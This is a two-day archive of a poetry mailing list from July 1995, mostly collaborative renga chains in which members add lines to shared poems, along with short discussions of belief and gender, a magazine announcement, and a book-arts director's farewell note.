Re: Renga1
Sat 29 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds
in flew inverted sabbath race in whistle window retrograde
We are feeling very good indeed among the lumber,
The bat corked and me cousin also

↑ Index

707. Ron Silliman
Re: Renga 1
Sat 29 Jul 1995

New renga rule: every fourth line must include the word "cloud"

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
The back hoe scraping out the hillside (smell of hot tar)

↑ Index

708. Ron Silliman
Re: Renga1
Sat 29 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds
in flew inverted sabbath race in whistle window retrograde
many forms of soup comingled (miso-plum puree, chalk-salt
We are feeling very good indeed among the lumber
Spotted 72 King Penguins (No's 32, 33 and 66 missing)
Amid the waitrons, the glare off your dark glasses

↑ Index

709. Ron Silliman
Re: Renga 1
Sat 29 Jul 1995

every fifth line must preceed the first:

Before alive and bled by law>
In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Forth on the godly sea, Circes this craft, the trim-coiffed

↑ Index

710. **Ron Silliman**
Re: Renga 1
Sat 29 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three

↑ Index

711. **Ron Silliman**
Re: Renga
Sat 29 Jul 1995

In the books were dreams and in those dreams, books They flew through windows, one light green and fine morning First invented by the whistle of a cardinal in the popular Solemn air and sabbath retrograde amalgam. . . Why these dots? in the race with dreams, dead birds Flew into the words inverted, sabbath, race, in, whistle, window, And retrograde, as many forms of sap coming unglued. Chalk salt We are feeling very good and undid the lumber Spotted 72 King Penguins (No's 32, 33 and 66 missing). Let's see That's lines 10, clouds none. My mouse squeaks, does yours? Kit Robinson, all elbows under the basket, rebounds well, gadzooks!

↑ Index

712. **Ron Silliman**
Re: rengaro [Cth
Sat 29 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
Disperate literary melds sweet songs
Together into a paste (rather like overdone eggplant)

↑ Index

713. **Ron Silliman**
Re: Renga 1
Sat 29 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more

↑ Index

714. **Burt Kimmelman**
Re: beowulf (willa jargon)
Sat 29 Jul 1995

Chris,

Hey, I love to do some anthology bashing, from time to time, too. And indeed I agree with you. As for music, of course there is a Music per se that must accompany a poem like the Hymn. And there is also the "music" when the poem is spoken, rather than sung or chanted. I recently attended a performance of Beowulf done with instruments that we think were of the sort that the typical OE sceop used--constructed by some medieval instrument makers and musicologists based on two rather co-synchronous instruments, one found at Sutton Hoo and another in Germany (I forget where). The combination of chanting and singing and speaking, of picking and strumming etc. on the harp, as well as the physical gestures of the performer who delivered Beowulf, was revelatory. I walked out of that auditorium feeling that for the first time I had come in contact with the Anglo-Saxon sensibility, and that until that evening I did not really UNDERTSTAND what OE verse was about. Performance was so important to it. Anyway, if I have a point here, it is that OE poetry and Old Japanese poetry, if experienced in full, which would perhaps include music and dramatic reading, would be very different. Best,

Burt

↑ Index

715. **Burt Kimmelman**
Re: "Believe"?
Sat 29 Jul 1995

David,

As I am writing this, it is too early in the morning, having just gotten up and thought to get some e-mail out of the way to clean out my buffer before going camping, I feel that I don't believe in anything. But that's the story. By tonight I will believe deeply, in something.

Anyway, please forgive my backing away again. But I did want to acknowledge your serious response. And I want very much to talk about belief and hope to do so after today. I also want to learn more about the "circle of belief" you mention.

let me only add here, at the risk of being really corny, that for a long time i have thought that i would title my next book of poems "Belief." And that it seems to me that our society feels more and more that belief is something people are not capable of. And that Yeats' line, "the best lack all conviction . . ." continues to reverberate for me.

When I write poetry I feel that I believe (this has nothing to do with whether the poem is any good esthetically and/or intellectually).

Anyway, I would love to hear what others have to say about belief.

Is belief, much in the way some people see love as a product of hormone secretions, just a matter of getting the body in gear?

just kidding (i think).

Burt

↑ Index

716. Jorge Guitart
open mike
Sat 29 Jul 1995

A DATE WITH JUDY

(long)

episodes in parentheses

abort earnest original

the curry array readied

the town was a dune i drowse & they drop

the foreigner showed me the door to the ford

reckon a rake with rank will interrogate you grissly grime & christmas cream

the ancestor receded cited telekinesis at the behest of the resuscitated

concerning excrement decree

myopia the window the eye of the daisy walleyed pinochle & something ocular an autopsy

the speed of despair prospered

i shared the shards at the carnival

officinal manure in copious copy it is your opus

cognition is notorius

my kith & kin a gnome with agnosia abnormal & enormous
cunning but acquainted with the quaint swami swain

an idiot a suicide janitor in trance in january

glasnost call my cock

didn't care a deuce about diplomas these are duplicates

gents, germinal got her pregnant
kringle was in gingerly & indigenous a naive renaissance in
kindergarten wrinkles & wreaths worry

rubato the bereaved rubles

comity a mirage a marvel smirk

a butter tumor

agraphia programs epigraph crayfish a keel & chilled jelly
congealed subdued & educated duchess deduces conduct & is
abducted

erect a surge the right anorectic chose ragout

zloty yellow krishnas gold pencilled penicilin for penis

humus humbled bridegroom who was inhumed

an acrobat & a diabetic a souvenir of the juggernaut ought to freight the
surplus folk

fere on the porch how did you fare
when they ferried the fuhrer of import/export

[end of file]

↑ Index

717. **Aldon L. Nielsen**
Re: Another Saturday Night
Sat 29 Jul 1995

Maria can demur with the best of them; nothing demure about it!

↑ Index

718. **Rod Smith**
Re: Renga 1
Sat 29 Jul 1995

every fifth line must preceed the first:

Before alive and bled by law>
In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Forth on the godly sea, Circes this craft, the trim-coiffed
Pineapple salesperson-- like a fixed drone-- "peeking"

↑ Index

719. **Rod Smith**
Re: Renga1
Sat 29 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds
in flew inverted sabbath race in whistle window retrograde
We are feeling very good indeed among the lumber,
The bat corked and me cousin also
Uncorked, calmly asking for __The Curse of the Red Seal__

↑ Index

720. **Thomas Bell**
Re: Re Re Renga
Sat 29 Jul 1995

>In the books were dreams and in the dreams were books.
>In the crooks were nannies and in the nannies began responsibilities.
>And desire. To which, Mr Stanley, to wit, "Mistah Bowering, he...
>suffers himself too much, perhaps a small tango would permit
>him the opporuntity to advance (too much apricot in the tea
let s/he without word in cast the sinker

↑ Index

721. **Gabrielle Welford**
Re: Info on UK poets
Sat 29 Jul 1995

Thanks to all who sent me the address for Wendy Mulford. Maybe I'll be able to get in touch with Madge Herron yet. Gabrielle

↑ Index

722. **Gabrielle Welford**
Re: Renga1
Sat 29 Jul 1995

On Sat, 29 Jul 1995, Ron Silliman wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *Solemn air and sabbath retrograde*
> *Why: these dots in the race when dreamt, did birds*
> *in flew inverted sabbath race in whistle window retrograde*
> *many forms of soup comingled (miso-plum puree, chalk-salt*
> *We are feeling very good indeed among the lumber*
> *Spotted 72 King Penguins (No's 32, 33 and 66 missing)*
> *Amid the waitrons, the glare off your dark glasses*
> *went follow my birding instinct*

↑ Index

723. **Joseph Zitt**
Re Re Renga
Sat 29 Jul 1995

On 29 Jul 95 at 4:43, Ron Silliman wrote:

> >In the books were dreams and in the dreams were books.
> >In the crooks were nannies and in the nannies began responsibilities.
> >And desire. To which, Mr Stanley, to wit, "Mistah Bowering, he...
> >suffers himself too much, perhaps a small tango would permit
> him the opporuntity to advance (too much apricot in the tea
echoes astronaut powder memory, rondo, flight of childhood dance
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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724. Joseph Zitt
Re: Renga 1
Sat 29 Jul 1995

On 29 Jul 95 at 5:06, Ron Silliman wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
Power to the spider, virtuous in act if not intent
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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725. Steve Carll
Re: the feminine
Sat 29 Jul 1995

> *i was trying to stay out of this one, cuz it seemed too volatile, and more complex than i can muster my forces for at those odd itchy moments when i hit the keyboard, but when i read "masculine aggressiveness," i feel compelled to enter. these denominations, "feminine" and "masculine," it seems, are simply ways of noting --or creating --difference. masculinity is associated w/ aggression, femininity with docility or gentleness, without much thoughtful attention to the empirical world. it's just a crude shorthand for perceived opposition. i can be as aggressive as the next guy which doesn't mean i'm invoking a "masculine" side of myself. i can be warm on occasion, even demur, which doesn't mean that i'm being "feminine" in those instances. can we find some other way of referring to affect and behavior without calling on facile gender categories to do our thinking for us? and i'm not sure "language" engenders itself --people do --i think language is smarter than people, and can help us find a way out of this binary impasse.*

Hi Maria:

OK, you vote to scrap the terms altogether. Our other options are:

1. To keep them but divorce them from gender altogether (as yin and yang originally referred not to gender but to the mossy unmossy side of a tree). This

is what I was trying to get to, and I didn't quite make it in my post, which is what riled you, I think.

2. To keep them in a concept of gender but to expand beyond a binary opposition of genders (I just read an article last month in the S.F. Bay Guardian [I believe; maybe it was the Weekly] about certain geneticists who believe that, biologically speaking, there are perhaps 5 human genders, and Dodie's quoted material seems to me to dovetail with this notion in more ontological terms.

3. Forget the whole thing and go back to our caves.

I don't know which one is the best choice: I would hope it's not 3, but I have a sinking feeling it is. All I can say again is: this stuff is tricky; we're all going to get confused, but I think it's important enough to risk saying dumb things in good faith and to assume good faith and try to help each other figure stuff out.

Steve

↑ Index

726. **Steve Carll**

Announcing Antenym #7

Sat 29 Jul 1995

Hi everyone--I'd like to announce the arrival of Antenym 7, a 50-page magazine with work by George Albon, Michael Basinski, Charles Borkhuis, Brian Boury, Kristin Burkart, Steve Carll, Carol Ciavonne, Norma Cole, Jean Day, Larry Eigner, Bob Heman, Andrew Joron, M. Kettner, Colleen Lookingbill, Sheila E. Murphy, John Olson, Michael Price, I.E. Skin, John Taggart, Darlene Tate, and J.R. Willems.

It's $2 plus $1.50 for postage. Checks payable to Steve Carll. Barter for lit journals, chapbooks, etc. OK. The address is 106 Fair Oaks St.#3, S.F., CA 94110-2951. Subscription rate is $10.50 per year (3 issues).

Publication parties/contributors' readings, in case you're around: Monday August 21 Mudd's Cafe, 1436 Mendocino Ave. Santa Rosa 8:00 pm Saturday August 26 111 Minna St. Gallery @ 2nd St. San Francisco 2:00 pm

Invitation to submit:

Anyone on this list is encouraged to send me stuff to consider for future issues of Antenym. I'm interested in ontological exploration and the relationships between Being, language and beings; meditation and meditations on essence, and related considerations.

Thanks!

Steve Carll

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727. Lisa Samuels
Re: "Believe"?
Sat 29 Jul 1995

dear Burt Kimmelman,

you said you are interested in what others have to say about belief. so: for me, it does not detract from the reality of love or belief to say that consciousness is physical. when i was a christian, i felt the presence of some amalgam of the trinity as a core physical shock. i have since thought i understood what Emily was talking about, the top of the head coming off, since that's what happened in the most fervent prayer, speaking in tongues. now, writing a poem and feeling the thick of love are the two experiences that make me believe in them, belief as experience rather than external reference. so those are the two things i believe in: love and the power of language.

Lisa Samuels

↑ Index

728. Thomas Bell
Re: Renga1
Sun 30 Jul 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>Solemn air and sabbath retrograde
>Why: these dots in the race when dreamt, did birds
>in flew inverted sabbath race in whistle window retrograde
>We are feeling very good indeed among the lumber,
>The bat corked and me cousin also
>Uncorked, calmly asking for __The Curse of the Red Seal__
The rain in pain. Morphine morphs mestasisize

↑ Index

729. Charles Alexander
what does not change
Sun 30 Jul 1995

7/29/85: I sent the following yesterday morning and again last night, but it was bounced back to me. I also asked someone to forward it for me, so I apologize it it makes it tot he list twice. Hopefully it will make it once.

--charles

Here's a personal note which perhaps has no place here, but I'm going to inject it anyway. It's particularly for friends (Ron, Charles, Tom, Hank Spencer, Kevin, Dodie, Maria, Joel, Bill, Juliana, Linda, Bob, Sandra, and there are more, including lurkers I don't know about and probably some who aren't on the list anymore).

As of July 31 I am no longer executive director of Minnesota Center for Book Arts. The parting of the ways is something I understand and in some ways brought on because of how central I believe artistic leadership is to arts organizations, but it's also something I'm not entirely pleased about as I float between "free at last" and "where am I?," knowing full well you can't have one without the other.

I am pleased with many things accomplished there, including developing a literary mission within/among the book arts there, making the place considerably more open to women (yes, there is an "old boy printer's network") and artists/programs of diverse natures in many ways, making it embrace a wider sense of what the printed book might mean, and involving it more with theoretical discussions of art and culture. Also several specific things, like the Art & Language symposium, visits by Johanna Drucker, Brad Freeman, Amos Paul Kennedy, Kathleen Fraser, Spencer Selby (Gary Sullivan & Marta Deike brought him, but we were happy to host him), and upcoming ones by Mei-Mei Berssenbrugge & Myung Mi Kim, among others, and this doesn't include the 14 writers/artists/critics who were part of the Art & Language symposium and who include participants on this list. Also publications like the one on press right now which is a collaged language/visual meditation with many sculptural dimensions, and an upcoming book of essays called Talking the Boundless Book (Linda, your & Toshiki's contribution IS now going to be part of that book, and a few others on this list, I believe, already know that your work is part of the book as well -- I'll post another announcement about this book in a few weeks).

But this is not to blow the center's or my horn, just to hope that such activities continue and that people on this list find ways to keep up with them if they do. It's been quite a two year ride and my main regret is not having the budget or support to do quite a bit more in terms of widening and sharpening the focus.

And to announce that Chax Press will become quite a bit more active once again (more about that in a post in a few weeks), and that at this time we have no plans to move, although it will be a subject of discussion, and the southwestern light Cynthia and I spent so many good years in up until two years ago still is something greatly missed.

We will be away at a cabin on a lake in northern Wisconsin for a week, beginning Sunday, and I am going to set poetics, as of this morning, on

"nomail," so please send any personal messages to my direct e-mail addressfor the next eight days, [redacted]. That address will remain main for quite a while, and I'll notify various people, and re-subscribe to poetics, if it changes.

Thanks to all here for making this a part of my time at book arts the last couple of years, and for putting up with my mixing up poetics & the book arts now & then.

love,
charles

```
charles alexander                    [============^^=============]
                                [          <>          ]
chax press                          [  maybe a  <>  pages     ]
                                [     time  <>  letters   ]
phone & fax: [redacted]             [     upon  <>  frames    ]
                                [     once  <>  motion    ]
e-mail: [redacted]          [          <>          ]
                                [============vv=============]
```

↑ Index

730. **Charles Alexander**
where are you?
Sun 30 Jul 1995

Sorry for this, but is Joel Kuszai listening or does anyone know where he is? I gave my card with your address to my daughter to write you a letter, and now I can't find it. And directory assistance doesn't have your phone number, and my e-mail got bounced back to me. So if you're reading this message, please write a note back. Or if anyone else has an address or phone for Joel, please send it to me at my direct e-mail address (I so much prefer the term "direct contact" or "one-to-one correspondence" to "back channel," which sounds like something subversive or gossipy) as I will have poetics set on "nomail" for the next six or so days during which I'll be away. That address is [redacted]

thanks,
charles

```
charles alexander                    [============^^=============]
                                [          <>          ]
chax press                          [  maybe a  <>  pages     ]
                                [     time  <>  letters   ]
phone & fax: [redacted]             [     upon  <>  frames    ]
                                [     once  <>  motion    ]
```

e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

731. **Jorge Guitart**
Re: Renga1
Sun 30 Jul 1995

On Sat, 29 Jul 1995, Gabrielle Welford wrote:

> On Sat, 29 Jul 1995, Ron Silliman wrote:
>
> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > Solemn air and sabbath retrograde
> > Why: these dots in the race when dreamt, did birds
> > in flew inverted sabbath race in whistle window retrograde
> > many forms of soup comingled (miso-plum puree, chalk-salt
> > We are feeling very good indeed among the lumber
> > Spotted 72 King Penguins (No's 32, 33 and 66 missing)
> > Amid the waitrons, the glare off your dark glasses
> > went follow my birding instinct
  booksy when mostly feelinged or brain necked

↑ Index

732. **maria damon**
forward from charles alexander
Sun 30 Jul 1995

Here is the message I'd love you to read and forward to poetics. I would be forever in your debt. It's just that I want others to hear what my current situation is before they hear it either through the grapevine or from my ex-employers. Thank you.

Message begins here:

Here's a personal note which perhaps has no place here, but I'm going to inject it anyway. It's particularly for friends (Ron, Charles, Tom, Hank, Spencer, Kevin, Dodie, Maria, Joel, Bill, Juliana, Linda, Bob, Sandra, and there are more, including lurkers I don't know about and probably some who aren't on the list anymore).

As of July 31 I am no longer executive director of Minnesota Center for Book Arts. The parting of the ways is something I understand and in some ways

brought on because of how central I believe artistic leadership is to arts organizations, but it's also something I'm not entirely pleased about as I float between "free at last" and "where am I?," knowing full well you can't have one without the other.

I am pleased with many things accomplished there, including developing a literary mission within/among the book arts there, making the place considerably more open to women (yes, there is an "old boy printer's network") and artists/programs of diverse natures in many ways, making it embrace a wider sense of what the printed book might mean, and involving it more with theoretical discussions of art and culture. Also several specific things, like the Art & Language symposium, visits by Johanna Drucker, Brad Freeman, Amos Paul Kennedy, Kathleen Fraser, Spencer Selby (Gary Sullivan & Marta Deike brought him, but we were happy to host him), and upcoming ones by Mei-Mei Berssenbrugge & Myung Mi Kim, among others, and this doesn't include the 14 writers/artists/critics who were part of the Art & Language symposium and who include participants on this list. Also publications like the one on press right now which is a collaged language/visual meditation with many sculptural dimensions, and an upcoming book of essays called Talking the Boundless Book (Linda, your & Toshiki's contribution IS now going to be part of that book, and a few others on this list, I believe, already know that your work is part of the book as well -- I'll post another announcement about this book in a few weeks).

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And to announce that Chax Press will become quite a bit more active once again (more about that in a post in a few weeks), and that at this time we have no plans to move, although it will be a subject of discussion, and the southwestern light Cynthia and I spent so many good years in up until two years ago still is something greatly missed.

We will be away at a cabin on a lake in northern Wisconsin for a week, beginning Sunday, and I am going to set poetics, as of this morning, on "nomail," so please send any personal messages to my direct e-mail address for the next eight days, [redacted]. That address will remain main for quite a while, and I'll notify various people, and re-subscribe to poetics, if it changes.

Thanks to all here for making this a part of my time at book arts the last couple of years, and for putting up with my mixing up poetics & the book arts now & then.

love,
charles

charles alexander [==========^^==========]
[<>]
chax press [maybe a <> pages]
[time <> letters]
phone & fax: [redacted] [upon <> frames]
[once <> motion]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

733. **maria damon**

Re: Renga 1

Sun 30 Jul 1995

In message <[redacted]> UB Poetics discussion
group writes:
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The rook to the knight here by King's Bishop Three
Oriented to a better metaphysics on glass sill

↑ Index

734. **maria damon**

Re: rengaro [Cth

Sun 30 Jul 1995

In message <[redacted]> UB Poetics discussion
group writes:
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> Disperate literary melds sweet songs
> Together into a paste (rather like overdone eggplant)
o be the ratatouille of my razorbladed rhizome!

↑ Index

735. **maria damon**
Re: Renga1
Sun 30 Jul 1995

In message <[redacted]> UB
Poetics discussion group writes:
> On Sat, 29 Jul 1995, Ron Silliman wrote:
>
> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > Solemn air and sabbath retrograde
> > Why: these dots in the race when dreamt, did birds
> > in flew inverted sabbath race in whistle window retrograde
> > many forms of soup comingled (miso-plum puree, chalk-salt
> > We are feeling very good indeed among the lumber
> > Spotted 72 King Penguins (No's 32, 33 and 66 missing)
> > Amid the waitrons, the glare off your dark glasses
> > went follow my birding instinct
You birddog you, the hellhound on whose trail

↑ Index

736. **maria damon**
Re: Another Saturday Night
Sun 30 Jul 1995

In message <[redacted]> UB Poetics
discussion group writes:
> Maria can demur with the best of them; nothing demure about it!

o golly gee shucks...back to my corner cave to breathe quietly. but seriously folks, sometimes i think gender is overrated as a conversational topic. it doesn't make the top of my head fly off. all it does is remind me that my paycheck is less than that of my male jr colleague who works on images of queen elizabeth in spenser. (and he --as well as those who make these monetary determinations --can talk a great line about anti-essentialism, feminism, and the whole megilla, with utter sincerity)--md

↑ Index

737. **maria damon**
Re: Renga1
Sun 30 Jul 1995

In message <[redacted]> UB Poetics discussion group writes:
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> Solemn air and sabbath retrograde
> Why: these dots in the race when dreamt, did birds
> in flew inverted sabbath race in whistle window retrograde
> We are feeling very good indeed among the lumber,
> The bat corked and me cousin also
> Uncorked, calmly asking for __The Curse of the Red Seal__
as the blue Nile whimpered and wagged its way to a sunny sea

↑ Index

738. **maria damon**
Re: the feminine
Sun 30 Jul 1995

> *Hi Maria:*
>
> *OK, you vote to scrap the terms altogether.*

yeah, i guess i kinda do, at least as a temporary experiment, to see what happens. it seems that invoking gender mixes anger and injustice into the question of "difference," and it'd be interesting to find out if there're ways of talking about difference that are neutral. maybe there aren't. how did yin and yang evolve from mossy/nonmossy sides of trees to gender? that's fascinating, i never knew that, just goes to show...something--md

↑ Index

739. **Jordan Davis.**
Re: Renga 1
Sun 30 Jul 1995

>>In the books were dreams and in the dreams were books.
>>And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
>>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds

>The caravan of windows to what they flee
Control is not a word for hot-air balloons

↑ Index

740. **Jordan Davis.**
Re: Renga 3
Sun 30 Jul 1995

Uh, hold on a second, hello, Young and Modern magazine
In the books were dreams and in the dreams were books
That cooks would look to in the hope of
many forms of soup comingled (miso-plum puree, chalk-salt,
stewed pigeons). Outside, the sheep dogs barking,

↑ Index

741. **Jordan Davis.**
Re: Re Re Renga
Sun 30 Jul 1995

>In the books were dreams and in the dreams were books.
>In the crooks were nannies and in the nannies began responsibilities.
>And desire. To which, Mr Stanley, to wit, "Mistah Bowering, he...
>suffers himself too much, perhaps a small tango would permit
him the opporuntity to advance (too much apricot in the tea
>at 12:14 the two-passenger experimental glider struck the

↑ Index

742. **Jordan Davis.**
Re: Renga1
Sun 30 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds
Flitter high over the stadium, the lights
Actually tiny distortions of the cornea

↑ Index

743. **Jordan Davis.**
Re: Renga1
Sun 30 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds
in flew inverted sabbath race in whistle window retrograde
until the books were broth again, steaming, onions bobbing
Good luck, gentlemen. Howard, thanks! Last call

↑ Index

744. **Jordan Davis.**
Re: Renga 1
Sun 30 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship

↑ Index

745. **Chris Scheil**
Re: Renga 3
Sun 30 Jul 1995

On Sun, 30 Jul 1995, Jordan Davis. wrote:

> Uh, hold on a second, hello, Young and Modern magazine
> In the books were dreams and in the dreams were books
> That cooks would look to in the hope of
> many forms of soup comingled (miso-plum puree, chalk-salt,
> stewed pigeons). Outside, the sheep dogs barking,
  pestles hung in evergreen, the jangle-frag of mapping out

↑ Index

746. Jonathan Brannen
Re: Free Verse Soot
Sun 30 Jul 1995

Rod, Calling poetry "art" as Thomas did, was not an attempt to "clarify" any more than calling the mechanics of poetry "tricks" was. The point of Thomas' statement was as you say: "the 'poetic' is not finally defineable You know it when you seeit, & who sees it where is different." My point in quoting Thomas was to clarify that knowing the mechanics of how poetry is made is not necessarily the road to disillusionment, as was previously stated in reference to someone's grad school experiences. I would think that knowing the tricks and then experiencing the results would only increase one's awareness that something other than mechanics is afoot. I have no problem calling this undefined "art" and I have wondered why there is a recurring reticence in discussions on the poetics list to say poetry is an art and one that requires talent as well as technique.

Jonathan Brannen

↑ Index

747. Louis Cabri
rengala
Sun 30 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
Rack of lambent jingoism, carving the exemplar's demise

↑ Index

748. Louis Cabri
rengaga
Sun 30 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
Disperate literary melds sweet songs

Together into a paste (rather like overdone eggplant)
"To Stir With Love" the Puke of Hollywood, a hair's

↑ Index

749. **Louis Cabri**
rengate malls
Sun 30 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Parking lot than parking attendant, more wacko than Texas
    torch songs. By contrast, ghostmodernism marks the
    emergence of the desire to be

↑ Index

750. **George Bowering**
Re: "Believe"?
Sun 30 Jul 1995

See Robin Blaser, _Bach's Belief_.

↑ Index

751. **George Bowering**
Re: knowledge can destroy anything
Sun 30 Jul 1995

Knowledge can destroy ignorance.

↑ Index

752. **Steve Carll**
moss
Sun 30 Jul 1995

> *Hi Maria:*
>
> *OK, you vote to scrap the terms altogether.*
>
> *yeah, i guess i kinda do, at least as a temporary experiment, to see what happens. it seems that invoking gender mixes anger and injustice into the*

> *question of "difference," and it'd be interesting to find out if there're ways of talking about difference that are neutral. maybe there aren't. how did yin and yang evolve from mossy/nonmossy sides of trees to gender? that's fascinating, i never knew that, just goes to show...something--md*

I haven't heard a history of meaning for the terms; I'd assume it just got metaphorically mapped onto other binary pairs as the oracles proceeded to interpret the observed world in terms of yin/yang. Somewhere along the road, gender became the dominant example of duality, so they became primary translators of each other.

Steve

↑ Index

753. **George Bowering**
Re: rengaro [Cth
Sun 30 Jul 1995

>
> On Sat, 29 Jul 1995, Ron Silliman wrote:
>
> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > Oh go and go Go endlessly, an obtuse Prussian blue, it binds
> > Disperate literary melds sweet songs
> > Together into a paste (rather like overdone eggplant)
> Why not a three point shot from the perimeter of San Bernardino?
.

↑ Index

754. **Joseph Zitt**
Re: Renga 1
Sun 30 Jul 1995

On 30 Jul 95 at 13:00, Jordan Davis. wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The rook to the knight here by King's Bishop Three
> Something has changed in the nature of friendship
Renegade and flightless, board of common prayer aside
---------1---------1---------1---------1---------1---------1----------

|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

755. **Joseph Zitt**
Re: Renga 1
Sun 30 Jul 1995

On 30 Jul 95 at 20:01, Thomas Bell wrote:

> In message <[redacted]> UB Poetics discussion
> group writes:
> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The rook to the knight here by King's Bishop Three
> >Oriented to a better metaphysics on glass sill
> marbled Kerouaccaurek stays in the distant summer
Tree frog monkeys of Javan caught checked at breakfast
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

756. **Thomas Bell**
Re: [D [D [D [D [D [D [DRe: Renga 1
Sun 30 Jul 1995

In message <[redacted]> UB Poetics discussion
group writes:
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The rook to the knight here by King's Bishop Three

>Oriented to a better metaphysics on glass sill
marbled Kerouaccaurek stays in the distant summer

↑ Index

757. **Jorge Guitart**
Re: Renga 1
Sun 30 Jul 1995

On Sat, 29 Jul 1995, Ron Silliman wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
